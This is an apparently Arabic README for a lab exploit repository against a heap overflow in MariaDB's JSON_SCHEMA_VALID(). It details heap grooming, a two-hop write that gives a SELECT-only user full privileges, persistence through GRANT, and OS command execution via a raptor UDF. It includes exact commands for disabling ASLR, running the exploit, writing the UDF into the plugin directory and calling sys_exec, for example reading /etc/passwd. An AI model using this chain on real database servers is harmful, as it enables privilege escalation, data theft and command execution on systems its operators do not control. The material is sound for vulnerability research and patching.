
# ثغرة كتابة خارج الحدود في الذاكرة (Heap OOB write) في دالة JSON_SCHEMA_VALID() في MariaDB ← تصعيد امتيازات دائم (بمساعدة مختبر)
تجاوز سعة المخزن المؤقت في الكومة في JSON_SCHEMA_VALID() في MariaDB ← تصعيد دائم للامتيازات ← تنفيذ أوامر عبر UDF
| المتأثر | MariaDB 11.4.x (مؤكَّد على 11.4.9) |
| الخلل | كتابة خارج النطاق في json_get_normalized_string() — strncpy في DYNAMIC_STRING بحجم 128 بايت دون فحص حدود |
| التأثير | مستخدم بصلاحية SELECT فقط ← ALL PRIVILEGES WITH GRANT OPTION ← تنفيذ أوامر عشوائية عبر UDF |
| المصدر | sql/json_schema_helper.cc:91 |
بمساعدة مختبرية. يستخدم السكربت Docker / فحص الجذر لقراءة
/proc/1/memواكتشاف تخطيط الكومة لكل اتصال. سلسلة الاستغلال الفعلية هي SQL خالص عبر TCP. الاستغلال المُسلَّح سيتطلب بدائية تسريب معلومات لتحل محل خطوة فحص الذاكرة.
lowpriv يمكنه فقط تنفيذ SELECT على قاعدة بيانات test. جداول النظام مرفوضة.

سكربت Python واحد يقوم بتهيئة الكومة، وكتابة عشوائية بقفزتين عبر بيانات المتغيرات المعرّفة من قبل المستخدم، ويثبّت التصعيد عبر GRANT ALL، ويحقق تنفيذ الكود عبر UDF:
python3 exploit.py

lowpriv الآن لديه ALL PRIVILEGES WITH GRANT OPTION، ويمكنه قراءة جداول النظام، وقراءة/كتابة ملفات عشوائية، وتنفيذ أوامر نظام التشغيل كمستخدم mysql. الصلاحية تبقى بعد إعادة تشغيل الخادم.


┌──────────────────────────────────────────────────────────────────┐
│ SELECT json_schema_valid(overflow), │
│ @ccc...c := hop1, │
│ @aaa...a := hop2 │
└──────────────────────────────────────────────────────────────────┘
│ │ │
▼ ▼ ▼
┌───────────┐ ┌──────────────┐ ┌──────────────┐
│ 192-byte │ │ Write to @c │ │ Write to @a │
│ overflow │ │ through the │ │ through the │
│ corrupts │ │ corrupted │ │ redirected │
│ entry_c's │ │ pointer: │ │ pointer: │
│ value ptr │ │ │ │ │
│ (2-byte │ │ entry_a → │ │ master_access│
│ partial │ │ .value = │ │ = 0xFFFF.. │
│ overwrite)│ │ &master_ │ │ (ALL PRIVS) │
│ │ │ access │ │ │
└───────────┘ │ .length= 9 │ └──────────────┘
└──────────────┘
تهيئة الكومة — أكثر من 100 متغير مستخدم يستنزف tcache، مما يُجبر
Entry_a → Value_a → Entry_b → Value_b → Entry_c → Value_c على
التخصيص بشكل متتالٍ.
التجاوز — JSON_SCHEMA_VALID يُطلق strncpy بحجم 192 بايت يتجاوز
المخزن المؤقت بحجم 128 بايت، مما يُفسد entry_c→value (كتابة جزئية
للمؤشر بحجم 2 بايت داخل نفس صفحة 64 كيلوبايت) ليشير إلى entry_a + 32.
القفزة 1 — الإسناد إلى @c يكتب 126 بايت عبر المؤشر المُفسد
إلى بيانات entry_a الوصفية، مع ضبط:
entry_a→value = &Security_context::master_accessentry_a→length = 9القفزة 2 — الإسناد إلى @a يكتب 8 بايت من 0xFF عبر
مؤشر entry_a→value المُعاد توجيهه ← .
بعد الإبقاء، يُعاد تشغيل الخادم (استرداد من الانهيار)، وتُستخدم الامتيازات المُصعَّدة لتثبيت مكتبة UDF مشتركة:
LOAD_FILE('/tmp/raptor_udf.so') INTO DUMPFILE '/usr/lib/mysql/plugin/raptor.so'CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'raptor.so'SELECT sys_exec('id > /tmp/pwned')# 1. بناء وتشغيل الحاوية
./setup.sh
# 2. تعطيل ASLR على مضيف Docker
sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
# 3. تشغيل الاستغلال (معايرة تلقائية لكل محاولة)
python3 exploit.py
# 4. أمر مخصص
python3 exploit.py --cmd 'cat /etc/passwd > /tmp/out'
/proc/sys/kernel/randomize_va_space = 0)--cap-add SYS_PTRACE (للوصول إلى /proc/1/mem)--calibrate قياس ثوابت تخطيط الكومة والخروج
--cmd CMD الأمر للمرحلة 2 تنفيذ UDF (الافتراضي: id > /tmp/pwned)
--stage1-only تشغيل تصعيد الامتيازات فقط، وتخطي UDF RCE
--attempts N الحد الأقصى لمحاولات المرحلة 1 (الافتراضي: 5)
--host HOST مضيف MariaDB (الافتراضي: 127.0.0.1)
--port PORT منفذ MariaDB (الافتراضي: 3306)
يدخل سكربت الاستغلال إلى الحاوية كجذر لقراءة /proc/1/mem.
يُستخدم هذا لشيئين:
user_var_entry
والتحقق من أنها متجاورة (entry_a+32 داخل نفس صفحة 64 كيلوبايت
مثل entry_c→value للكتابة الجزئية بحجم 2 بايت).Security_context — العثور على حقل master_access
لاستهدافه بالكتابة ذات القفزتين.يعمل الفحص بشكل مضمّن لكل محاولة لأن تخطيط الكومة يختلف بين الاتصالات (حتى مع ASLR=0) بسبب تخصيص مجمع الخيوط في MariaDB لأرينا مختلفة. سلسلة الاستغلال الفعلية — التجاوز + القفزة 1 + القفزة 2 — هي SQL خالص يتم تنفيذه عبر اتصال TCP.
في سيناريو واقعي، سيحتاج المهاجم إلى ثغرة تسريب معلومات منفصلة (أو قناة جانبية) للحصول على هذه العناوين.
master_access = ALL PRIVILEGESالإبقاء — الجلسة الآن تمتلك جميع الامتيازات. GRANT ALL يثبّت
التصعيد في جدول mysql.global_priv المدعوم بـ Aria. الجلسة تنهار
في النهاية أثناء التنظيف (فساد كومة متبقٍ)، لكن GRANT قد تم
حفظه بالفعل ويبقى بعد إعادة التشغيل.
| القيد | الحل |
|---|
STRING_RESULT يقوم بـ length++ قبل فحص إعادة التخصيص | الحمولة بحجم N−1 بايت بحيث N−1+1 = N يطابق الطول المخزَّن ← لا إعادة تخصيص على المؤشر المُفسد |
قفزة 2 بحجم 126 بايت تُفسد حقول THD بعد Security_context | ضبط entry_a→length = 9 في القفزة 1 بحيث تكتب القفزة 2 فقط 8 بايت (master_access) + 1 NUL |
إزاحة master_access في Security_context | 1712 بايت من قاعدة البنية (priv_user[384] + proxy_user[645] + priv_host[256] + priv_role[384] + حشو + مؤشرات) |
| استرداد الانهيار في Aria يتراجع عن الكتابات غير الملتزمة | GRANT ALL + SLEEP لمدة 10 ثوانٍ يسمح بنقطة تفتيش Aria قبل انهيار تنظيف الجلسة |
| تخطيط الكومة يختلف بين الاتصالات (حتى مع ASLR=0) | فحص مضمّن لكل محاولة عبر /proc/1/mem يكتشف entry_a و master_access لكل اتصال |
| plugin_dir مملوك للجذر | Dockerfile يضبط مسبقًا chmod 777 (تسهيل مختبرى) |
| الملف | الوصف |
|---|
exploit.py | استغلال من مرحلتين: تصعيد امتيازات (SQL عبر TCP) + UDF RCE |
raptor_udf.c | كود مصدر UDF — sys_exec() يستدعي system() |
Dockerfile | صورة حاوية المختبر (تجميع UDF، فتح plugin_dir) |
init.sql | إنشاء مستخدم lowpriv |
setup.sh | بناء وتشغيل المختبر |
screenshots/ | لقطات شاشة الطرفية |